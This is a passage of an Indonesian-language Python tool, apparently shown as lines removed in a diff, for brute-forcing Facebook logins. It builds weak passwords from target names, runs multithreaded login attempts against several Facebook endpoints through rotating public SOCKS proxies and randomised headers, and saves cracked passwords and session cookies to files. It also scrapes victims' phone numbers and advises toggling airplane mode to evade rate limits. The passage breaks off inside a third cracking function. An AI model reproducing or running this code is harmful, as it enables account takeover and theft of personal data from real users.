- print(f"\n[•] Berhasil Dump Id Dari Publik")
- print(f"[•] Salin Output File ( %s )"%(xxr))
- exit()
- except (KeyError,IOError):
- os.remove(xxr)
- prints(Panel.fit(f"[red] Gagal Dump Id Yang Anda Masukan Tidak Publik",style=f"white"));time.sleep(3);menu()
- #----------[ HASIL-OK ]----------#
- def hasil_ok():
- try:vin = os.listdir('MBF-OK')
- except FileNotFoundError:prints(Panel.fit(f"%sMaaf Kak File Tidak Di Temukan, Silakan Dump Terlebih Dahulu"%(M2),style=f"#AAAAAA"));time.sleep(3);menu()
- if len(vin)==0:prints(Panel.fit(f"%sMaaf Kak Anda Tidak Mempunyai File OK, Silakan Crack Terlebih Dahulu"%(M2),style=f"#AAAAAA"));time.sleep(3);menu()
- else:
- print(f"{puti}╭────────────────────────────────────────────")
- cih = 0
- lol = {}
- for isi in vin:
- try:hem = open('MBF-OK/'+isi,'r').readlines()
- except:continue
- cih+=1
- if cih<100:nom = '0'+str(cih);lol.update({str(cih):str(isi)});lol.update({nom:str(isi)});print(f'{puti}└──[ %s. %s ( %s Idz )'%(nom,isi,len(hem)))
- else:lol.update({str(cih):str(isi)});print(f'{puti}└──[ %s. %s ( %s Idz )'%(nom,isi,len(hem)))
- print(f"{puti}╭────────────────────────────────────────────")
- geeh = input(f'{puti}└──[ Input file : ')
- try:geh = lol[geeh]
- except KeyError:prints(Panel(f"%sINPUT YANG ANDA MASUKAN%s SALAH%s SILAKAN MASUKAN DENGAN BENAR"%(P2,M2,P2),width=80,padding=(0,10),style=f"#AAAAAA"));time.sleep(3);menu()
- try:lin = open('MBF-OK/'+geh,'r').read().splitlines()
- except:prints(Panel.fit(f"%sMaaf Kak File Tidak Di Temukan, Silakan Dump Terlebih Dahulu"%(M2),style=f"#AAAAAA"));time.sleep(3);menu()
- nocp=0
- for cpku in range(len(lin)):
- cpkuni=lin[nocp].split('|')
- tree = Tree("")
- tree.add(f"{hijo}{cpkuni[0]}{puti}").add(f"{hijo}{cpkuni[1]}{puti}")
- tree.add(f"{hijo}{cpkuni[2]}{puti}")
- prints(tree)
- nocp +=1
- print(f"{puti}╭────────────────────────────────────────────")
- input(f'{puti}└──[{mer} Klik Enter {puti}]')
- menu()
- #----------[ HASIL-CP]----------#
- def hasil_cp():
- try:vin = os.listdir('MBF-CP')
- except FileNotFoundError:prints(Panel.fit(f"%sMaaf Kak File Tidak Di Temukan, Silakan Dump Terlebih Dahulu"%(M2),style=f"#AAAAAA"));time.sleep(3);menu()
- if len(vin)==0:prints(Panel.fit(f"%sMaaf Kak Anda Tidak Mempunyai File OK, Silakan Crack Terlebih Dahulu"%(M2),style=f"#AAAAAA"));time.sleep(3);menu()
- else:
- print(f"{puti}╭────────────────────────────────────────────")
- cih = 0
- lol = {}
- for isi in vin:
- try:hem = open('MBF-CP/'+isi,'r').readlines()
- except:continue
- cih+=1
- if cih<100:nom = '0'+str(cih);lol.update({str(cih):str(isi)});lol.update({nom:str(isi)});print(f'{puti}└──[ %s. %s ( %s Idz )'%(nom,isi,len(hem)))
- else:lol.update({str(cih):str(isi)});print(f'{puti}└──[ %s. %s ( %s Idz )'%(nom,isi,len(hem)))
- print(f"{puti}╭────────────────────────────────────────────")
- geeh = input(f'{puti}└──[ Input file : ')
- try:geh = lol[geeh]
- except KeyError:prints(Panel(f"%sINPUT YANG ANDA MASUKAN%s SALAH%s SILAKAN MASUKAN DENGAN BENAR"%(P2,M2,P2),width=80,padding=(0,10),style=f"#AAAAAA"));time.sleep(3);menu()
- try:lin = open('MBF-CP/'+geh,'r').read().splitlines()
- except:prints(Panel.fit(f"%sMaaf Kak File Tidak Di Temukan, Silakan Dump Terlebih Dahulu"%(M2),style=f"#AAAAAA"));time.sleep(3);menu()
- nocp=0
- for cpku in range(len(lin)):
- cpkuni=lin[nocp].split('|')
- tree = Tree("")
- tree.add(f"{kun}{cpkuni[0]}{puti}").add(f"{kun}{cpkuni[1]}{puti}")
- prints(tree)
- nocp +=1
- print(f"{puti}╭────────────────────────────────────────────")
- input(f'{puti}└──[{mer} Klik Enter {puti}]')
- menu()
- #----------[ MENU-IDZ ]----------#
- def atur_id():
- rr = random.randint
- for khusus_random in id:
- cyxieon_id = rr(0,len(id2))
- id2.insert(cyxieon_id, khusus_random)
- atur_method()
- #----------[ MENU-METHOD ]----------#
- def atur_method():
- prints(Panel(f" [white][[red]01[white]] MOBILE \t [red]([green] VALIDATE [red]) \n [white][[red]02[white]] MBASIC \t [red]([green] VALIDATE [red]) \n [white][[red]03[white]] MOBILE \t [red]([green] ASYINC [red]) \n [white][[red]04[white]] ALPHA \t [red]([green] ASYINC [red]) \n [white][[red]05[white]] TOUCH \t [red]([green] ASYINC [red]) \n [white][[red]06[white]] MOBILE \t [red]([green] REGULER [red]) ",width=80,padding=(0,22),style=f"white"))
- xx = input(f"[•] METHOD : ")
- if xx in ['1','01']:method.append('MBF01')
- elif xx in ['2','02']:method.append('MBF02')
- elif xx in ['3','03']:method.append('MBF03')
- elif xx in ['4','04']:method.append('MBF04')
- elif xx in ['5','05']:method.append('MBF05')
- elif xx in ['6','06']:method.append('MBF06')
- else:
- method.append('MBF01')
- user_agent()
- #----------[ USER-AGENT ]----------#
- def user_agent():
- prints(Panel(f"[white] HAY KAK APAKAH MAU MENAMBAHKAN USER AGENT MANUAL (y/t) ",width=80,padding=(0,10),style=f"white"))
- uatambah = input(f'[•] PILIH : ')
- if uatambah in ['y','Ya','ya','Y']:
- uadia.append('ya')
- prints(Panel(f"[white] HAY KAK SILAKAN MASUKAN USER AGENT MANUAL KAKAK ",width=80,padding=(0,12),style=f"white"))
- mantap = input(f'[•] UA TAMBAH : ')
- uamu.append(mantap)
- else:
- uadia.append('no')
- password()
- #----------[ PASSWORD]----------#
- def password():
- prints(Panel(f"[white] HAY KAK APAKAH MAU MENAMBAHKAN PASSWORD MANUAL (y/t) ",width=80,padding=(0,10),style=f"white"))
- passwtamb = input(f'[•] PILIH : ')
- if passwtamb in ['y','Y','ya','YA']:
- sandine.append('ya')
- prints(Panel(f"[white] HAY KAK SILAKAN MASUKAN PW GUNAKAN ( , ) UNTUK PEMISAH ",width=80,padding=(0,9),style=f"white"))
- sandiku = input(f'[•] MASUKAN PW : ')
- sandimu = sandiku.split(',')
- for sandixnxx in sandimu:
- sandina.append(sandixnxx)
- else:
- sandine.append('no')
- aplikasi()
- #----------[ APLIKASI ]----------#
- def aplikasi():
- prints(Panel(f"[white] HAY KAK APAKAH INGIN MENAMPILKAN APLIKASI DI DALAMNYA (y/t) ",width=80,padding=(0,8),style=f"white"))
- tampilkasi = input("[•] PILIH : ")
- if tampilkasi in ['']:
- prints(Panel(f"[white] INPUT YANG ANDA MASUKAN [red]SALAH[white] SILAKAN MASUKAN DENGAN BENAR ",width=80,padding=(0,10),style=f"white"));time.sleep(3);menu()
- elif tampilkasi in ['y','Y','ya','YA']:
- taplikasi.append('ya')
- else:
- taplikasi.append('no')
- otomatis()
- #----------[ WORDLIST ]----------#
- def otomatis():
- global prog,des
- prints(Panel(f"[white] HAY KAK JANGAN LUPA MODE PESAWAT SETIAP 300 ID YA KAK ",width=80,padding=(0,10),style=f"white"))
- prog = Progress(TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'))
- des = prog.add_task('',total=len(id2))
- with prog:
- with tred(max_workers=30) as pool:
- for akun in id2:
- idf,nama = akun.split('|')[0],akun.split('|')[1].lower()
- depan = nama.split(" ")[0]
- pwx = []
- if len(nama)<=5:
- if len(depan)<=1 or len(depan)<=2:
- pass
- else:
- pwx.append(depan+"123")
- pwx.append(depan+"1234")
- pwx.append(depan+"12345")
- pwx.append(depan+"321")
- else:
- if len(depan)<=1 or len(depan)<=2:
- try:
- tengah = nama.split(" ")[1]
- if len(tengah)<=3:
- pass
- else:
- pwx.append(tengah+"123")
- pwx.append(tengah+"1234")
- pwx.append(tengah+"12345")
- pwx.append(depan+"321")
- pwx.append(nama)
- except:
- try:
- belakang = nama.split(' ')[2]
- if len(belakang)<=3:pass
- else:
- pwx.append(belakang+"123")
- pwx.append(belakang+"1234")
- pwx.append(belakang+"12345")
- pwx.append(depan+"321")
- pwx.append(nama)
- except:
- pwx.append(nama)
- else:
- pwx.append(nama)
- pwx.append(depan+"123")
- pwx.append(depan+"1234")
- pwx.append(depan+"12345")
- pwx.append(depan+"321")
- if 'MBF01' in method:
- pool.submit(cracking01,idf,pwx,'m.facebook.com')
- elif 'MBF02' in method:
- pool.submit(cracking02,idf,pwx,'mbasic.facebook.com')
- elif 'MBF03' in method:
- pool.submit(cracking03,idf,pwx,'m.facebook.com')
- elif 'MBF04' in method:
- pool.submit(cracking04,idf,pwx,'m.alpha.facebook.com')
- elif 'MBF05' in method:
- pool.submit(cracking05,idf,pwx,'touch.facebook.com')
- elif 'MBF06' in method:
- pool.submit(cracking06,idf,pwx,'m.facebook.com')
- else:
- pool.submit(cracking01,idf,pwx,'m.facebook.com')
- tree = Tree(Panel.fit(f"\r[white] Crack Telah Selesai Dengan Jumlah [green]OK : {ok}[white] Dan Jumlah [kun]CP : {cp}[white]",style=f"white"))
- tree.add(Panel.fit(f"\r[white] Apakah Ingin Lanjut Crack Kembali (y/t) ",style=f"white"))
- prints(tree)
- gas = input(f"[•] PILIH : ")
- if gas in ['y','Y','ya','YA']:
- menu()
- else:
- tree = Tree("")
- tree.add(Panel.fit(f"\r[white] Good Byee Jangan Lupa Bersyukur Dengan Hasilnya ",style=f"white"))
- prints(tree)
- time.sleep(2)
- exit()
- #----------[ MOBILE VALIDATE ]----------#
- def cracking01(idf,pwx,url):
- global loop,ok,cp
- ses = requests.Session()
- rr = random.randint
- rc = random.choice
- emot = rc(["😝","😜","🤪"])
- prog.update(des,description=f"\r {emot} MBF 01 ( OK [green]: {ok} [white]) ( CP [yellow]: {cp} [white]) ([red] {loop} [white]) ")
- prog.advance(des)
- for pw in pwx:
- try:
- if 'ya' in uadia: ua = uamu[0]
- proxs = requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text
- open('socksku.txt','w').write(proxs)
- nip = rc(proxs)
- proxs = {'http': 'socks4://'+nip}
- ua = rc(ugen)
- ua2 = rc(["Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Mobile/15E148 Safari/604.1","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59"])
- link = ses.get(f'https://{url}/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2F{url}%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
- date = {
- "lsd":
- re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
- "jazoest":
- re.search('name="jazoest" value="(.*?)"',str(link.text)).group(1),
- "uid":idf,
- "next":f"https://{url}/v2.3/dialog/oauth?app_id=124024574287414&cbt=1651658200978&e2e=%7B%22init%22%3A1651658200978%7D&sso=chrome_custom_tab&scope=email&state=%7B%220_auth_logger_id%22%3A%2268f15bae-23f8-463c-8660-5cf1226d97f6%22%2C%227_challenge%22%3A%22dahj28hqtietmhrgprpp%22%2C%223_method%22%3A%22custom_tab%22%7D&redirect_uri=fbconnect%3A%2F%2Fcct.com.instathunder.app&response_type=token%2Csigned_request%2Cgraph_domain%2Cgranted_scopes&return_scopes=true&ret=login&fbapp_pres=0&logger_id=68f15bae-23f8-463c-8660-5cf1226d97f6&tp=unspecified",
- "flow":"login_no_pin",
- "pass":pw,
- }
- #cokz = ";".join([ "%s=%s" % (key, value) for key, value in link.cookies.get_dict().items()])
- head = (
- {
- 'Host': url,
- 'cache-control': 'max-age=0',
- 'dpr': f'{str(rr(1,5))}',
- 'viewport-width': f'{str(rr(400,999))}',
- 'sec-ch-ua': f'"Not?A_Brand";v="{str(rr(8,20))}", "Chromium";v="{str(rr(108,114))}", "Google Chrome";v="{str(rr(108,114))}"',
- 'sec-ch-ua-mobile': '?1',
- 'sec-ch-ua-platform': '"Android"',
- 'sec-ch-ua-platform-version': f'"{str(rr(5,14))}.0.0"',
- 'sec-ch-ua-full-version-list':f'"Chromium";v="{str(rr(99,115))}.0.{str(rr(5000,5999))}.{str(rr(40,99))}", "Google Chrome";v="{str(rr(99,115))}.0.{str(rr(5000,5999))}.{str(rr(40,99))}", "Not:A-Brand";v="{str(rr(8,20))}.0.0.0"',
- 'sec-ch-prefers-color-scheme': 'light',
- 'upgrade-insecure-requests': '1',
- 'origin': 'https://'+url,
- 'content-type': 'application/x-www-form-urlencoded',
- 'user-agent': ua,
- 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
- 'x-requested-with': 'com.facebook.katana',
- 'sec-fetch-site': 'same-origin',
- 'sec-fetch-mode': 'cors',
- 'sec-fetch-user': '?1',
- 'sec-fetch-dest': 'empty',
- 'referer': f'https://{url}/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2F{url}%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr',
- 'accept-encoding': 'gzip, deflate, br',
- 'accept-language': 'zh-CN;q=0.8,zh;q=0.7'
- }
- )
- po = ses.post(f"https://{url}/login/device-based/validate-password/?shbl=0",headers=head, data=date, allow_redirects=False,proxies=proxs)
- #po = ses.post(f"https://{url}/login/device-based/validate-password/?shbl=0",headers=head,data=date,cookies={"cookie":cokz},allow_redirects=False,proxies=proxs)
- if "datr" in ses.cookies.get_dict().keys():
- if 'no' in taplikasi:
- ok+=1
- coki=po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- #cooz = ses.cookies.get_dict()
- #kuki = "datr=" + cooz["datr"] + ";" + ("sb=" + cooz["sb"]) + ";" + "locale=id_ID" + ";" + ("c_user=" + cooz["c_user"]) + ";" + ("xs=" + cooz["xs"]) + ";" + ("fr=" + cooz["fr"]) + ";"
- tree = Tree(Panel.fit(f"[green] LOGIN SUCKSES ",style=f"white"))
- tree.add(Panel.fit(f"[green] {idf} | {pw} ",style=f"white")).add(Panel.fit(f"[green] {tahun(idf)} ",style=f"white"))
- tree.add(Panel.fit(f"[green]{kuki}",style=f"white"))
- tree.add(Panel.fit(f"[green]{ua}",style=f"white"))
- prints(tree)
- open('MBF-OK/'+okc,'a').write(idf+'|'+pw+'|'+kuki+'\n')
- break
- elif 'ya' in taplikasi:
- ses = requests.Session()
- head_pro = {'user-agent': 'SupportsFresco=1 Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Build/MMB29Q) Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]'}
- kon = 'https://mbasic.facebook.com/profile.php?v=info'
- req = ses.get(kon,headers = head_pro, cookies = kuki).text
- try:
- cari_nomor = re.search('>08(.*?)-(.*?)-(.*?)</span>',str(req)).groups(1)
- nomor = '08{}{}{}'.format(cari_nomor[0],cari_nomor[1],cari_nomor[2])
- except:
- nomor = '-'
- ok+=1
- coki = po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- #cooz = ses.cookies.get_dict()
- #kuki = "datr=" + cooz["datr"] + ";" + ("sb=" + cooz["sb"]) + ";" + "locale=id_ID" + ";" + ("c_user=" + cooz["c_user"]) + ";" + ("xs=" + cooz["xs"]) + ";" + ("fr=" + cooz["fr"]) + ";"
- tree = Tree(Panel.fit(f"[green] LOGIN SUCKSES ",style=f"white"))
- tree.add(Panel.fit(f"[green] {idf} | {pw} ",style=f"white")).add(Panel.fit(f"[green] {tahun(idf)} ",style=f"white"))
- tree.add(Panel.fit(f"[green] EMAIL : (_) ",style=f"white"))
- tree.add(Panel.fit(f"[green] NOMOR : ( {cari_nomor} ) ",style=f"white"))
- tree.add(Panel.fit(f"[green]{kuki}",style=f"white"))
- tree.add(Panel.fit(f"[green]{ua}",style=f"white"))
- prints(tree)
- open('MBF-OK/'+okc,'a').write(idf+'|'+pw+'|'+kuki+'\n')
- cek_apk(kuki)
- break
- elif "checkpoint" in po.cookies.get_dict().keys():
- tree = Tree(Panel.fit(f"[yellow] LOGIN CHECKPOINT ",style=f"white"))
- tree.add(Panel.fit(f"[yellow] {idf} | {pw} ",style=f"white")).add(Panel.fit(f"[yellow] {tahun(idf)} ",style=f"white"))
- tree.add(Panel.fit(f"[yellow]{ua}",style=f"white"))
- prints(tree)
- open('MBF-CP/'+cpc,'a').write(idf+'|'+pw+'\n')
- akune.append(idf+'|'+pw)
- ceker(idf,pw)
- cp+=1
- break
- else:
- continue
- except requests.exceptions.ConnectionError:
- time.sleep(31)
- loop+=1
- #----------[ MBASIC VALIDATE ]----------#
- def cracking02(idf,pwx,url):
- global loop,ok,cp
- ses = requests.Session()
- rr = random.randint
- rc = random.choice
- emot = rc(["😝","😜","🤪"])
- prog.update(des,description=f"\r {emot} MBF 02 ( OK [green]: {ok} [white]) ( CP [yellow]: {cp} [white]) ([red] {loop} [white]) ")
- prog.advance(des)
- for pw in pwx:
- try:
- if 'ya' in uadia: ua = uamu[0]
- proxs = requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text
- open('socksku.txt','w').write(proxs)
- nip = rc(proxs)
- proxs = {'http': 'socks4://'+nip}
- ua = rc(ugen)
- ua2 = rc(["Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Mobile/15E148 Safari/604.1","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59"])
- link = ses.get(f'https://{url}/login.php?skip_api_login=1&api_key=607187076044599&kid_directed_site=0&app_id=607187076044599&signed_next=1&next=https%3A%2F%2F{url}%2Fv8.0%2Fdialog%2Foauth%3Fclient_id%3D607187076044599%26display%3Dpopup%26redirect_uri%3Dhttps%253A%252F%252Fpergikuliner.com%252Fusers%252Fauth%252Ffacebook%252Fcallback%26response_type%3Dcode%26scope%3Demail%26state%3D90447ac345e71ee7b3f3fe074078ad82078d27a0eb62a266%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D6321ea45-1edf-459d-b7ba-f3006d4e5264%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fpergikuliner.com%2Fusers%2Fauth%2Ffacebook%2Fcallback%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D90447ac345e71ee7b3f3fe074078ad82078d27a0eb62a266%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
- date = {
- "lsd":
- re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
- "jazoest":
- re.search('name="jazoest" value="(.*?)"',str(link.text)).group(1),
- "uid":idf,
- "next":f"https://{url}/v8.0/dialog/oauth?client_id=607187076044599&display=popup&redirect_uri=https%3A%2F%2Fpergikuliner.com%2Fusers%2Fauth%2Ffacebook%2Fcallback&response_type=code&scope=email&state=90447ac345e71ee7b3f3fe074078ad82078d27a0eb62a266&ret=login&fbapp_pres=0&logger_id=6321ea45-1edf-459d-b7ba-f3006d4e5264&tp=unspecified",
- "flow":"login_no_pin",
- "pass":pw,
- }
- cokz = ";".join([ "%s=%s" % (key, value) for key, value in link.cookies.get_dict().items()])
- head = (
- {
- 'Host': url,
- 'cache-control': 'max-age=0',
- 'dpr': f'{str(rr(1,5))}',
- 'viewport-width': f'{str(rr(400,999))}',
- 'sec-ch-ua': f'"Not?A_Brand";v="{str(rr(8,20))}", "Chromium";v="{str(rr(108,114))}", "Google Chrome";v="{str(rr(108,114))}"',
- 'sec-ch-ua-mobile': '?1',
- 'sec-ch-ua-platform': '"Android"',
- 'sec-ch-ua-platform-version': f'"{str(rr(5,14))}.0.0"',
- 'sec-ch-ua-full-version-list':f'"Chromium";v="{str(rr(99,115))}.0.{str(rr(5000,5999))}.{str(rr(40,99))}", "Google Chrome";v="{str(rr(99,115))}.0.{str(rr(5000,5999))}.{str(rr(40,99))}", "Not:A-Brand";v="{str(rr(8,20))}.0.0.0"',
- 'sec-ch-prefers-color-scheme': 'light',
- 'upgrade-insecure-requests': '1',
- 'origin': 'https://'+url,
- 'content-type': 'application/x-www-form-urlencoded',
- 'user-agent': ua,
- 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
- 'x-requested-with': 'com.facebook.katana',
- 'sec-fetch-site': 'same-origin',
- 'sec-fetch-mode': 'cors',
- 'sec-fetch-user': '?1',
- 'sec-fetch-dest': 'empty',
- 'referer': f'https://{url}/login.php?skip_api_login=1&api_key=607187076044599&kid_directed_site=0&app_id=607187076044599&signed_next=1&next=https%3A%2F%2F{url}%2Fv8.0%2Fdialog%2Foauth%3Fclient_id%3D607187076044599%26display%3Dpopup%26redirect_uri%3Dhttps%253A%252F%252Fpergikuliner.com%252Fusers%252Fauth%252Ffacebook%252Fcallback%26response_type%3Dcode%26scope%3Demail%26state%3D90447ac345e71ee7b3f3fe074078ad82078d27a0eb62a266%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D6321ea45-1edf-459d-b7ba-f3006d4e5264%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fpergikuliner.com%2Fusers%2Fauth%2Ffacebook%2Fcallback%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D90447ac345e71ee7b3f3fe074078ad82078d27a0eb62a266%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr',
- 'accept-encoding': 'gzip, deflate, br',
- 'accept-language': 'zh-CN;q=0.8,zh;q=0.9'
- }
- )
- #po = ses.post(f"https://{url}/login/device-based/validate-password/?shbl=0",headers=head, data=date, allow_redirects=False,proxies=proxs)
- po = ses.post(f"https://{url}/login/device-based/validate-password/?shbl=0",headers=head,data=date,cookies={"cookie":cokz},allow_redirects=False,proxies=proxs)
- if "datr" in ses.cookies.get_dict().keys():
- if 'no' in taplikasi:
- ok+=1
- coki=po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- #cooz = ses.cookies.get_dict()
- #kuki = "datr=" + cooz["datr"] + ";" + ("sb=" + cooz["sb"]) + ";" + "locale=id_ID" + ";" + ("c_user=" + cooz["c_user"]) + ";" + ("xs=" + cooz["xs"]) + ";" + ("fr=" + cooz["fr"]) + ";"
- tree = Tree(Panel.fit(f"[green] LOGIN SUCKSES ",style=f"white"))
- tree.add(Panel.fit(f"[green] {idf} | {pw} ",style=f"white")).add(Panel.fit(f"[green] {tahun(idf)} ",style=f"white"))
- tree.add(Panel.fit(f"[green]{kuki}",style=f"white"))
- tree.add(Panel.fit(f"[green]{ua}",style=f"white"))
- prints(tree)
- open('MBF-OK/'+okc,'a').write(idf+'|'+pw+'|'+kuki+'\n')
- break
- elif 'ya' in taplikasi:
- ses = requests.Session()
- head_pro = {'user-agent': 'SupportsFresco=1 Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Build/MMB29Q) Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]'}
- kon = 'https://mbasic.facebook.com/profile.php?v=info'
- req = ses.get(kon,headers = head_pro, cookies = kuki).text
- try:
- cari_nomor = re.search('>08(.*?)-(.*?)-(.*?)</span>',str(req)).groups(1)
- nomor = '08{}{}{}'.format(cari_nomor[0],cari_nomor[1],cari_nomor[2])
- except:
- nomor = '-'
- ok+=1
- coki = po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- #cooz = ses.cookies.get_dict()
- #kuki = "datr=" + cooz["datr"] + ";" + ("sb=" + cooz["sb"]) + ";" + "locale=id_ID" + ";" + ("c_user=" + cooz["c_user"]) + ";" + ("xs=" + cooz["xs"]) + ";" + ("fr=" + cooz["fr"]) + ";"
- tree = Tree(Panel.fit(f"[green] LOGIN SUCKSES ",style=f"white"))
- tree.add(Panel.fit(f"[green] {idf} | {pw} ",style=f"white")).add(Panel.fit(f"[green] {tahun(idf)} ",style=f"white"))
- tree.add(Panel.fit(f"[green] EMAIL : (_) ",style=f"white"))
- tree.add(Panel.fit(f"[green] NOMOR : ( {cari_nomor} ) ",style=f"white"))
- tree.add(Panel.fit(f"[green]{kuki}",style=f"white"))
- tree.add(Panel.fit(f"[green]{ua}",style=f"white"))
- prints(tree)
- open('MBF-OK/'+okc,'a').write(idf+'|'+pw+'|'+kuki+'\n')
- cek_apk(kuki)
- break
- elif "checkpoint" in po.cookies.get_dict().keys():
- tree = Tree(Panel.fit(f"[yellow] LOGIN CHECKPOINT ",style=f"white"))
- tree.add(Panel.fit(f"[yellow] {idf} | {pw} ",style=f"white")).add(Panel.fit(f"[yellow] {tahun(idf)} ",style=f"white"))
- tree.add(Panel.fit(f"[yellow]{ua}",style=f"white"))
- prints(tree)
- open('MBF-CP/'+cpc,'a').write(idf+'|'+pw+'\n')
- akune.append(idf+'|'+pw)
- ceker(idf,pw)
- cp+=1
- break
- else:
- continue
- except requests.exceptions.ConnectionError:
- time.sleep(31)
- loop+=1
- #----------[ MOBILE ASYINC ]----------#
- def cracking03(idf,pwx,url):
- global loop,ok,cp
- ses = requests.Session()
- rr = random.randint
- rc = random.choice
- emot = rc(["😝","😜","🤪"])
- prog.update(des,description=f"\r {emot} MBF 03 ( OK [green]: {ok} [white]) ( CP [yellow]: {cp} [white]) ([red] {loop} [white]) ")
- prog.advance(des)
- for pw in pwx:
- try:
- if 'ya' in uadia: ua = uamu[0]
- proxs = requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text
- open('socksku.txt','w').write(proxs)
- nip = rc(proxs)
- proxs = {'http': 'socks4://'+nip}
- ua = rc(ugen)
- ua2 = rc(["Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Mobile/15E148 Safari/604.1","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59"])
